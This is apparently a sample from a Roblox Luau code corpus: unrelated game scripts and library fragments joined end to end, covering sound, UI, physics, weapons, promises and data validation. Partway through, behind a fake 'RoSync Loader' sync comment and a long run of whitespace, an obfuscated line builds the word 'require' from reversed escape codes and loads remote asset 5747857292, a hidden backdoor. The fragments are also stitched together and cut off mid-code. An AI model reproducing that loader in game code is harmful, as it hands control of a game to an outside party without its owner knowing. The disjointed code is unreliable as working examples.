Roblox/luau_corpus huggingface dataset:
--Horn Sound Code, Metrotren
m1=script.Parent.StartHorn
m2=script.Parent.HornSound
m3=script.Parent.EndHorn
m1:Stop() --Initial setup
m2:Stop()
m3:Stop()
m1.Volume = 0
m2.Volume = 0
m3.Volume = 0
m2.Looped = false
m2.Playing = false
script.Parent.Parent:WaitForChild("Drive").Locotrol.Event:connect(function(data)
	if data["Horn"] == true then
		m2.Volume = 0
		m2.Looped = false
		m2:Stop()
		m2.Playing = true
		m3.Volume = 0
		m3:stop()
		m1.Volume = 5
		m1:Play()
		--wait(m1.TimeLength) --disabled because it makes looping part stuck playing if stopped too soon.
		if m1.TimePosition < m1.TimeLength then
			m2.Looped = true
			m2.Volume = 5
			m2:Play()
		else
			m1.Volume = 0
			m1:Stop()
		end
	elseif data["Horn"] == false then
		m1.Volume = 0
		m1:Stop()
		--For 3 part option
		m2.Volume = 0
		m2:Stop()
		m2.Looped = false
		m2.Playing = false
		m3.Volume = 5
		m3:Play()
		
		--[[ -- For 2 part option
		if m2.IsPlaying == true then
			for i=1, 0, -.1 do
				m2.Volume = i*1
				wait(.1)
			end
		end
		m2.Volume = 0
		m2.Looped = false
		m2.Playing = false
		m2:Stop()
		--]]	
	end
end)
--[[
	Given a [AssetType], this function will match it to its equivalent
	[AccessoryType].

	```lua
	matchAssetTypeToAccessoryType(Enum.AssetType.FaceAccessory) -- Enum.AccessoryType.Face
	matchAssetTypeToAccessoryType(Enum.AssetType.Hat) -- Enum.AccessoryType.Hat
	matchAssetTypeToAccessoryType(Enum.AssetType.WaistAccessory) -- Enum.AccessoryType.Waist
	```


	This function is called when we'd like to convert a given Enum.AssetType into its corresponding Enum.AccessoryType.

	@within Modules
	@return Enum.AccessoryType The AccessoryType that matches `assetType`, otherwise returns [Enum.AccessoryType.Unknown].
]]

local function matchAssetTypeToAccessoryType(assetType: Enum.AssetType): Enum.AccessoryType
	if not assetType or not assetType.Name then
		return Enum.AccessoryType.Unknown
	end

	for _, accessoryType in ipairs(Enum.AccessoryType:GetEnumItems()) do
		if string.gsub(assetType.Name, "Accessory", "") == accessoryType.Name then
			return accessoryType
		end
	end

	return Enum.AccessoryType.Unknown
end

return matchAssetTypeToAccessoryType
-- The set where used dependencies should be saved to.
local dependencySet: Set<PubTypes.Dependency>? = nil
-- Event Bindings
DisplayIntermission.OnClientEvent:connect(OnDisplayIntermission)
FetchConfiguration.OnClientEvent:connect(OnFetchConfiguration)

ScreenGui.ScoreFrame["Bright blue"].Visible = false
ScreenGui.ScoreFrame["Bright red"].Visible = false
--[[ Last synced 12/11/2020 06:20 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--[=[
	Adds a callback to be called before save. This may return a promise.
	@param callback function -- May return a promise
	@return function -- Call to remove
]=]
function DataStoreStage:AddSavingCallback(callback)
	assert(type(callback) == "function", "Bad callback")

	table.insert(self._savingCallbacks, callback)

	return function()
		self:RemoveSavingCallback(callback)
	end
end
--Xfabri_YT

local l_Player_1 = game.Players.LocalPlayer;
local l_Character_2 = l_Player_1.Character or l_Player_1.CharacterAdded:Wait()
local l_Root_3 = l_Character_2:WaitForChild("HumanoidRootPart");

local l_iPart_4 = workspace.Tower.Tower.Tower.Interactions.InteractionLeverPart;

local l_UIS_5 = game:GetService("UserInputService");

l_UIS_5.InputBegan:Connect(function(p1)
	if p1.KeyCode == Enum.KeyCode.E then
		if (l_iPart_4.Position - l_Root_3.Position).magnitude < 5 then
			workspace.Tower.Tower.Tower.Light.LightLever.LeverEvent:FireServer();
		end;
	end;
end);
-- Ring1 descending
for l = 1,#lifts1 do
	if (lifts1[l].className == "Part") then
	lifts1[l].BodyPosition.position = Vector3.new((lifts1[l].BodyPosition.position.x),(lifts1[l].BodyPosition.position.y-0),(lifts1[l].BodyPosition.position.z))
	end
end
wait(0.1)
for p = 1,#parts1 do
	parts1[p].CanCollide = false
end
wait(0.1)
-- DefaultValue for spare ammo
local SpareAmmo = 9999999999999999
--Wheelie tune
local WheelieD = 3
local WheelieTq = 120
local WheelieP = 8
local WheelieMultiplier = 1.5
local WheelieDivider = 2
--!strict

local RunService = game:GetService("RunService")

local SteppedEvents = {}

local module = {}

function module:BindToStepped (name: string, func: () -> ())
	if SteppedEvents[name] then
		SteppedEvents[name]:Disconnect()
	end
	
	SteppedEvents[name] = RunService.Stepped:Connect(func)
end

function module:UnbindFromStepped (name: string)
	if SteppedEvents[name] then
		SteppedEvents[name]:Disconnect()
		SteppedEvents[name] = nil
	else
		warn("Nothing to unbind", name, "was already disconnected.")
	end
end

return module
--To give the other scripts the dummy name, so it can be easier to make new npcs
local Model = script.Parent

script.Parent.Parent.Radius.DummyModel.Value = Model
script:Destroy()
-- this is a dummy object that holds the flash made when the gun is fired
local FlashHolder = nil


local WorldToCellFunction = workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
	if hit then
		if hit.Transparency >= 1 or string.lower(hit.Name) == "water" or
				hit.Name == "Effect" or hit.Name == "Rocket" or hit.Name == "Bullet" or
				hit.Name == "Handle" or hit:IsDescendantOf(MyCharacter) then
			return true
		elseif hit:IsA('Terrain') and pos then
			local cellPos = WorldToCellFunction(workspace.Terrain, pos)
			if cellPos then
				local cellMat = GetCellFunction(workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
				if cellMat and cellMat == Enum.CellMaterial.Water then
					return true
				end
			end
		end
	end
	return false
end
--[[
	Returns the room associated with specified model
]]
function RoomManager.getRoomByModel(model)
	return rooms:get(model)
end
--if color == "Green" then
--wait ()
--elseif color == "Yellow" then
--wait(3)
--elseif color == "Red" then
--wait(0.3)
--end
if color == "Green" then
script.Parent.Big.Value = false
script.Parent.Size = UDim2.new(0.5, 0, 0.5, 0)
script.Parent.Position = UDim2.new(0.25, 0, 0.899999976, 0)
elseif color == "Yellow" then
if script.Parent.Big.Value == false then
script.Parent.Big.Value = true
script.Parent.heartbeat:Play()
script.Parent.Size = UDim2.new(0.6, 0, 0.6, 0)
script.Parent.Position = UDim2.new(0.219999999, 0, 0.899999976, -3)
wait(1)
elseif script.Parent.Big.Value == true then
script.Parent.Big.Value = false
script.Parent.heartbeatlow:Play()
script.Parent.Size = UDim2.new(0.5, 0, 0.5, 0)
script.Parent.Position = UDim2.new(0.25, 0, 0.899999976, 0)
end
elseif color == "Red" then
if script.Parent.Big.Value == false then
script.Parent.Big.Value = true
script.Parent.heartbeat:Play()
script.Parent.Size = UDim2.new(0.6, 0, 0.6, 0)
script.Parent.Position = UDim2.new(0.219999999, 0, 0.899999976, -3)
wait(0.3)
elseif script.Parent.Big.Value == true then
script.Parent.Big.Value = false
script.Parent.heartbeatlow:Play()
script.Parent.Size = UDim2.new(0.5, 0, 0.5, 0)
script.Parent.Position = UDim2.new(0.25, 0, 0.899999976, 0)
end
elseif color == "Dead" then
script.Parent.Big.Value = false
script.Parent.Size = UDim2.new(0.5, 0, 0.5, 0)
script.Parent.Position = UDim2.new(0.25, 0, 0.899999976, 0)
wait(10)
end
end
-- declarations

local sDied = newSound("rbxasset://sounds/uuhhh.wav")
local sFallingDown = newSound("rbxasset://sounds/splat.wav")
local sFreeFalling = newSound("rbxasset://sounds/swoosh.wav")
local sGettingUp = newSound("rbxasset://sounds/hit.wav")
local sJumping = newSound("rbxasset://sounds/button.wav")
local sRunning = newSound("rbxasset://sounds/bfsl-minifigfoots1.mp3")
sRunning.Looped = true

local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Human")
--[[**
		creates an intersection type

		@param ... The checks to intersect

		@returns A function that will return true iff the condition is passed
	**--]]
	function t.intersection(...)
		local checks = { ... }
		assert(callbackArray(checks))

		return function(value)
			for _, check in ipairs(checks) do
				local success = check(value)
				if not success then
					return false
				end
			end

			return true
		end
	end
-- Public Constructors

function CheckboxLabelClass.new(frame)
	local self = setmetatable({}, CheckboxLabelClass)
	
	self._Maid = Lazy.Utilities.Maid.new()
	self._ChangedBind = Instance.new("BindableEvent")
	
	self.Frame = frame
	self.Button = frame.CheckContainer.CheckButton
	self.Changed = self._ChangedBind.Event
	
	init(self)
	self:SetValue(false)
	
	return self
end

function CheckboxLabelClass.Create(text)
	local cbLabel = CHECKBOX_LABEL:Clone()
	cbLabel.Label.Text = text
	return CheckboxLabelClass.new(cbLabel)
end
-- This is basically a function that finds all unanchored parts and adds them to childList.
-- Note: This should only be run once for each object
function checkObject(obj)
	if (obj ~= hole) and (obj.className == "Part" and obj.Parent~=hole.Parent and obj~=tele2) then
		if (obj.Anchored == false) then
			table.insert(childList, 1, obj)
		end
	elseif (obj.className == "Model") or (obj.className == "Hat") or (obj.className == "Tool") or (obj == workspace) then
		local child = obj:GetChildren()
		for x = 1, #child do
			checkObject(child[x])
		end
		obj.ChildAdded:connect(checkObject)
	end
end

checkObject(workspace)

print("Black Hole script loaded.")

local n = 0
while true do
	if n < #childList then
		n = n + 1
		if n % 800 == 0 then
			wait()
		end
	else
		n = 1
		wait()
	end

	local child = childList[n]
	if (child ~= hole) and (child.className == "Part") and (child.Anchored == false) then
		local relPos = hole.Position - child.Position
		local motivator = child:FindFirstChild("BlackHole Influence")
		if relPos.magnitude * 240 * massConstant < mass then
			if (relPos.magnitude * 320 * massConstant < mass) and (child.Size.z + hole.Size.x >  relPos.magnitude * 2 - 4) then
				mass = mass + child:GetMass()
				table.remove(childList, n)
				n = n - 1 -- This is the reason I need a counter of my own design
			else
				child.CanCollide = false -- I Can assume that things won't escape the black hole.
				if motivator == nil then
					motivator = Instance.new("BodyPosition")
					motivator.Parent = child
					motivator.Name = "BlackHole Influence"
				end
				motivator.position = hole.Position
				motivator.maxForce = Vector3.new(1, 1, 1) * mass * child:GetMass() / (relPos.magnitude * massConstant)
			end
		elseif motivator ~= nil then
			motivator:Remove()
		end
	end
end
--rayPart					= Instance.new("Part")
--rayPart.Name			= "MG Ray"
--rayPart.Transparency	= .5
--rayPart.Anchored		= true
--rayPart.CanCollide		= false
--rayPart.TopSurface		= Enum.SurfaceType.Smooth
--rayPart.BottomSurface	= Enum.SurfaceType.Smooth
--rayPart.formFactor		= Enum.FormFactor.Custom
--rayPart.BrickColor		= BrickColor.new("Bright yellow")
--rayPart.Reflectance		= 0
--rayPart.Material = Enum.Material.SmoothPlastic

function fireCoax()
	local MGAmmo = tankStats.MGAmmo;
	if MGAmmo.Value <= 0 then
		return false;
	end;
	
	TFE:FireServer('FireMinigun',parts,tankStats,MGDamage,script.Parent)
	
	wait(1/350*60);
	
	return true;
end
-- Remeber to select the animtion object and set the id to your own!
local walkAnim = script:WaitForChild("Walk")
local walkAnimTrack = humanoid.Animator:LoadAnimation(walkAnim)

humanoid.Running:Connect(function(speed)
	if speed > 0 then
		if not walkAnimTrack.IsPlaying then
			walkAnimTrack:Play()
		end
	else
		if walkAnimTrack.IsPlaying then
			walkAnimTrack:Stop()
		end
	end
end)
--[[

	CastVisualiser Visuals.new(Color: Color3?, WorldRoot: WorldRoot?)
		Creates and returns a CastVisualiser class.

--]]

local Meta = {__index = CastVisualiser}

function Visuals.new(Color: Color3?, WorldRoot: WorldRoot?): CastVisualiser
	local self: CastVisualiserPrivate = setmetatable({
		Color = Color or Color3.new(0, 0, 1),
		WorldRoot = WorldRoot or workspace,
	}, Meta)
	
	-- Origin Part
	local CastOriginPart = Instance.new("Part")
	CastOriginPart.Transparency = 1
	CastOriginPart.CanCollide = false
	CastOriginPart.CanQuery = false
	CastOriginPart.CanTouch = false
	CastOriginPart.Anchored = true
	CastOriginPart.Size = Vector3.one / 100

	self.CastOriginPart = CastOriginPart
	
	-- Visuals
	local LineHandleAdornment = Instance.new("LineHandleAdornment")
	LineHandleAdornment.Color3 = self.Color
	LineHandleAdornment.AlwaysOnTop = ALWAYS_ON_TOP
	LineHandleAdornment.Transparency = TRANSPARENCY
	LineHandleAdornment.Thickness = LINE_THICKNESS
	LineHandleAdornment.ZIndex = 1
	LineHandleAdornment.Adornee = CastOriginPart
	LineHandleAdornment.Parent = CastOriginPart
	
	self.LineVisual = LineHandleAdornment
	
	local ConeHandleAdornmnet = Instance.new("ConeHandleAdornment")
	ConeHandleAdornmnet.Color3 = self.Color
	ConeHandleAdornmnet.AlwaysOnTop = ALWAYS_ON_TOP
	ConeHandleAdornmnet.Transparency = TRANSPARENCY
	ConeHandleAdornmnet.Radius = 0.05
	ConeHandleAdornmnet.Height = CONE_HEIGHT
	ConeHandleAdornmnet.SizeRelativeOffset = Vector3.new(0, 0, CONE_HEIGHT * 2)
	ConeHandleAdornmnet.ZIndex = 1
	ConeHandleAdornmnet.Adornee = CastOriginPart
	ConeHandleAdornmnet.Parent = CastOriginPart
	
	self.ConeVisual = ConeHandleAdornmnet
	
	local BoxHandleAdornment = Instance.new("BoxHandleAdornment")
	BoxHandleAdornment.Color3 = self.Color
	BoxHandleAdornment.AlwaysOnTop = ALWAYS_ON_TOP
	BoxHandleAdornment.Transparency = TRANSPARENCY
	BoxHandleAdornment.ZIndex = 0
	BoxHandleAdornment.Adornee = CastOriginPart
	BoxHandleAdornment.Parent = CastOriginPart
	
	self.BoxVisual = BoxHandleAdornment
	
	local SphereHandleAdornment = Instance.new("SphereHandleAdornment")
	SphereHandleAdornment.Color3 = self.Color
	SphereHandleAdornment.AlwaysOnTop = ALWAYS_ON_TOP
	SphereHandleAdornment.Transparency = TRANSPARENCY
	SphereHandleAdornment.ZIndex = 0
	SphereHandleAdornment.Adornee = CastOriginPart
	SphereHandleAdornment.Parent = CastOriginPart
	
	self.SphereVisual = SphereHandleAdornment
	
	return self
end

return Visuals
--[=[
	Accepts an array of Promises and returns a Promise that is resolved as soon as `count` Promises are resolved from the input array. The resolved array values are in the order that the Promises resolved in. When this Promise resolves, all other pending Promises are cancelled if they have no other consumers.

	`count` 0 results in an empty array. The resultant array will never have more than `count` elements.

	```lua
	local promises = {
		returnsAPromise("example 1"),
		returnsAPromise("example 2"),
		returnsAPromise("example 3"),
	}

	return Promise.some(promises, 2) -- Only resolves with first 2 promises to resolve
	```

	@param promises {Promise<T>}
	@param count number
	@return Promise<{T}>
]=]
function Promise.some(promises, count)
	assert(type(count) == "number", "Bad argument #2 to Promise.some: must be a number")

	return Promise._all(debug.traceback(nil, 2), promises, count)
end
-- Determine the gun elevation and tilt
function determineNewDirections(targetVector)
	local targElev = 0;
	local targRot = 0;
	
	local turretMain = 	parts.TurretRing2;
	
	-- Vector normal to the plane which is the turret ring
	local turretNormal = turretMain.CFrame.lookVector;
	
	local angleFromNormal = turretNormal:Dot(targetVector);
	
	-- Determine gun elevation
	targElev = math.pi/2 - math.acos(angleFromNormal);
	targRot= math.pi/2 - math.acos(angleFromNormal);	

	-- Projection of target vector onto the turret plane
	local targetProjection = (targetVector - (angleFromNormal*turretNormal)).unit;	

	local forwardVector = ( (turretMain.CFrame - turretMain.CFrame.p) -- Orientation only of brick
		* CFrame.new(0, -1, 0)).p; -- Translated down 1
	
	-- Determine angle between forward vector and the projected target vector
	targRot = math.acos(forwardVector:Dot(targetProjection));
	
	-- Determine the sign of the angle
	local vectorCross = forwardVector:Cross(targetProjection);
	
	-- If the cross product is opposite to the normal vector, make the angle negative
	if (vectorCross:Dot(turretNormal) < 0) then
		targRot = -targRot;
	end
	
	-- Put rotation and elevation into an array
	local rotations = {};
	rotations[1] = targElev;
	rotations[2] = targRot;
	
	return rotations;
end

function sign(input)
	if (input < 0) then
		return -1;
	else
		return 1;
	end
end
--Required components
local Players = game:GetService("Players")
local DataStoreService = game:GetService("DataStoreService")
local table = require(script.table) --If you're using this from GitHub, this is the table in the boilerplate folder.
local RegularSave = false
local RegularSaveNum = 300
local SaveInStudioObject = game:GetService("ServerStorage"):FindFirstChild("SaveInStudio")
local SaveInStudio = SaveInStudioObject and SaveInStudioObject.Value
local Debug = false

local Verifier = {}

function Verifier.typeValid(data)
	return type(data) ~= "userdata", typeof(data)
end

function Verifier.scanValidity(tbl, passed, path)
	if type(tbl) ~= "table" then
		return Verifier.scanValidity({input = tbl}, {}, {})
	end
	passed, path = passed or {}, path or {"input"}
	passed[tbl] = true
	local tblType
	do
		local key, value = next(tbl)
		if type(key) == "number" then
			tblType = "Array"
		else
			tblType = "Dictionary"
		end
	end
	local last = 0
	for key, value in next, tbl do
		path[#path + 1] = tostring(key)
		if type(key) == "number" then
			if tblType == "Dictionary" then
				return false, path, "Mixed Array/Dictionary"
			elseif key%1 ~= 0 then  -- if not an integer
				return false, path, "Non-integer index"
			elseif key == math.huge or key == -math.huge then
				return false, path, "(-)Infinity index"
			end
		elseif type(key) ~= "string" then
			return false, path, "Non-string key", typeof(key)
		elseif tblType == "Array" then
			return false, path, "Mixed Array/Dictionary"
		end
		if tblType == "Array" then
			if last ~= key - 1 then
				return false, path, "Array with non-sequential indexes"
			end
			last = key
		end
		local isTypeValid, valueType = Verifier.typeValid(value)
		if not isTypeValid then
			return false, path, "Invalid type", valueType
		end
		if type(value) == "table" then
			if passed[value] then
				return false, path, "Cyclic"
			end
			local isValid, keyPath, reason, extra = Verifier.scanValidity(value, passed, path)
			if not isValid then
				return isValid, keyPath, reason, extra
			end
		end
		path[#path] = nil
	end
	passed[tbl] = nil
	return true
end

function Verifier.getStringPath(path)
	return table.concat(path, ".")
end

function Verifier.warnIfInvalid(input)
	local isValid, keyPath, reason, extra = Verifier.scanValidity(input)
	if not isValid then
		if extra then
			warn("Invalid at "..Verifier.getStringPath(keyPath).." because: "..reason.." ("..tostring(extra)..")")
		else
			warn("Invalid at "..Verifier.getStringPath(keyPath).." because: "..reason)
		end
	end

	return isValid
end

local function clone(value)
	if typeof(value) == "table" then
		return table.deep(value)
	else
		return value
	end
end